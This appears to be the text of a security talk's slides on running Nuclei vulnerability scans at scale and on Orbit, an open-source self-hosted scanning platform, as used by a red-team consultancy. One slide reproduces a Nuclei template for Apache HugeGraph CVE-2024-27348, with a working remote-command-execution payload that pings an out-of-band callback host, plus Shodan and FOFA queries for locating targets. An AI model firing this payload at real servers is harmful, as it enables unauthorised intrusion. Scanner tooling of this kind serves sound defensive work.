going to

Run Nuclei Scans at Scale Without Nuclei Cloud

Slides URL

Agenda

Run Nuclei Scans at Scale Without Nuclei Cloud

1

2

3

Introduction

What is the ANTISOC

The Problem

4

Nuclei

5

Orbit

5

Conclusion

Introduction

github.com/ralphte

Black Hills Information Security

hackerops.dev

physicalexploit.com

linkedin.com/in/ralph-may/

Run Nuclei Scans at Scale Without Nuclei Cloud

What is the antisoc

Run Nuclei Scans at Scale Without Nuclei Cloud

ANTISOC

YouR Friendly Neighborhood APT

What if we could red team your company all year. How would that affect your security?

Run Nuclei Scans at Scale Without Nuclei Cloud

ANTISOC

YouR Friendly Neighborhood APT

  • Initial Access
  • Assumed Compromise
  • Post Exploitation
  • Purple Team
  • Scanning

Run Nuclei Scans at Scale Without Nuclei Cloud

ANTISOC

Scanning

  • Vulnerability Scanning
  • Data Breach Analysis
  • Attack Surface Management (ASM) Light

Run Nuclei Scans at Scale Without Nuclei Cloud

ANTISOC

Vulnerability Scanning (options)

  • Nessus
  • ​Nuclei

  • Qualys

  • Many more..

Run Nuclei Scans at Scale Without Nuclei Cloud

ANTISOC

Vulnerability Scanning (First)

  • Enumerate the attack surface
  • ​Domains
  • IP
  • Services
  • Ports

Run Nuclei Scans at Scale Without Nuclei Cloud

ANTISOC

Vulnerability Scanning (NeedS)

  • Constant Scans
  • Actionable Data/Findings
  • ​Scalable/Multiple customers

  • History

  • Control

Run Nuclei Scans at Scale Without Nuclei Cloud

ANTISOC

build or buy

  • Do the current options meet your needs.
  • Cost is a factor
  • Value for the customer
  • Value for the team
  • Customization

Run Nuclei Scans at Scale Without Nuclei Cloud

nuclei

if you take nothing from this presentation go run nuclei

Run Nuclei Scans at Scale Without Nuclei Cloud

NUCLEI

what is it

  • High performance vulnerability scanner 
  • Simple YAML vulnerability templates
  • Supports multiple protocols like TCP, DNS, HTTP, SSL, WHOIS JavaScript
  • Ultra-fast parallel scan processing and request clustering.

Run Nuclei Scans at Scale Without Nuclei Cloud

NUCLEI

CLI

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.3.8

		projectdiscovery.io

[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /Users/ralph/nuclei-templates
[INF] Current nuclei version: v3.3.8 (latest)
[INF] Current nuclei-templates version: v10.1.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 154
[INF] Templates loaded for current scan: 7607
[INF] Executing 7425 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 182 unsigned templates for scan. Use with caution.
[INF] No results found. Better luck next time!

Run Nuclei Scans at Scale Without Nuclei Cloud

NUCLEI Templates

template

id: CVE-2024-27348

info:
  name: Apache HugeGraph-Server - Remote Command Execution
  author: DhiyaneshDK
  severity: high
  description: |
    Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerable to a remote command execution (RCE) vulnerability in the gremlin component.
  reference:
    - http://www.openwall.com/lists/oss-security/2024/04/22/3
    - https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authentication
    - https://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9
    - https://github.com/Zeyad-Azima/CVE-2024-27348
    - https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-27348
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27348
  classification:
    cve-id: CVE-2024-27348
    cwe-id: CWE-77
    epss-score: 0.00045
    epss-percentile: 0.15047
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"HugeGraph"
    fofa-query: title="HugeGraph"
  tags: cve,cve2024,hugegraph,rce,apache

http:
  - raw:
      - |
        POST /gremlin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{{interactsh-url}}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(header, "application/json")'
          - 'contains(body, "inputStream\":")'
        condition: and
# digest: 4a0a004730450221008578493cfb808436d459d2ccb291e869a96890bc1073b44ba502680294d2a06602200ba6baa9516109d23319e018aee1d92b35ea91dc9b6c1c1c1a8ffe673f471f3f:922c64590222798bb761d5b6d8e72950

Run Nuclei Scans at Scale Without Nuclei Cloud

NUCLEI

why did we choose it

  • Results (High findings that were exploitable) 
  • Cost
  • Speed
  • Customizability

Run Nuclei Scans at Scale Without Nuclei Cloud

The problem

Run Nuclei Scans at Scale Without Nuclei Cloud

NUCLEI Scanning at scale

  • One Consultant == Several Clients
  • Control Cost
  • Highly Customizable
  • Expanded IP Space

Run Nuclei Scans at Scale Without Nuclei Cloud

First attempt CI/CD

  • Use Ansible / Terraform
  • Use with CI/CD to call scans
  • Save Output to a S3 Bucket
  • Highly Scaliable / One VM per scan
  • Integrate with Jira for Deploying and Results

Run Nuclei Scans at Scale Without Nuclei Cloud

CI/CD Problems

  • All code no interface
  • No history
  • State of Saved Findings
  • Lacked a database
  • No way to search though findings
  • Better then manual scans but no data metrics

Run Nuclei Scans at Scale Without Nuclei Cloud

Next steps

  • Build a web application
  • Simple User Interface
  • Allow for group think
  • Scan at scale with no code experience
  • Search though data visually

Run Nuclei Scans at Scale Without Nuclei Cloud

what about project desicovery cloud

  • High cost (Pass to Customer)
  • Black box (what ip address did we use)
  • Customer data
  • We tested it. It worked but some times it would just fail.

Run Nuclei Scans at Scale Without Nuclei Cloud

Run Nuclei Scans at Scale Without Nuclei Cloud

ORBIT

what is it

  • Nuclei Scanning at scale
  • Self Hosted
  • Muti-User
  • Muti-Cloud
  • Simple Web Interface

Run Nuclei Scans at Scale Without Nuclei Cloud

ORBIT

diagram

S3 Bucket

Scan1

Scan2

SSH/API

Run Nuclei Scans at Scale Without Nuclei Cloud

ORBIT

tech stack

  • Golang Pocketbase
  • SQL Light DB
  • Svelte Frontend
  • Ansible
  • Terraform

Run Nuclei Scans at Scale Without Nuclei Cloud

demo

May the Demo Gods Bless me

Run Nuclei Scans at Scale Without Nuclei Cloud

ORBIT

Release

  • Open Source
  • Cost $ Free
  • Active Development
  • Using it at ANTISOC
  • Beautiful Docs

http://orbitscanner.io/

Run Nuclei Scans at Scale Without Nuclei Cloud

ORBIT

future

  • Scan Chunking / Spilit up the scope
  • More Cloud Providers
  • Better Data Insights
  • Scope Enumeration
  • LLM Integration
  • You can be part of this (Yes you)

 

Github Issues

Run Nuclei Scans at Scale Without Nuclei Cloud

Conclusion

Run Nuclei Scans at Scale Without Nuclei Cloud

ORBIT

Recap

  • Scanning at scale is hard
  • Nuclei is highly customizable
  • Sometimes you need to build it
  • Collaboration is key and data is power

Run Nuclei Scans at Scale Without Nuclei Cloud

questions

Run Nuclei Scans at Scale Without Nuclei Cloud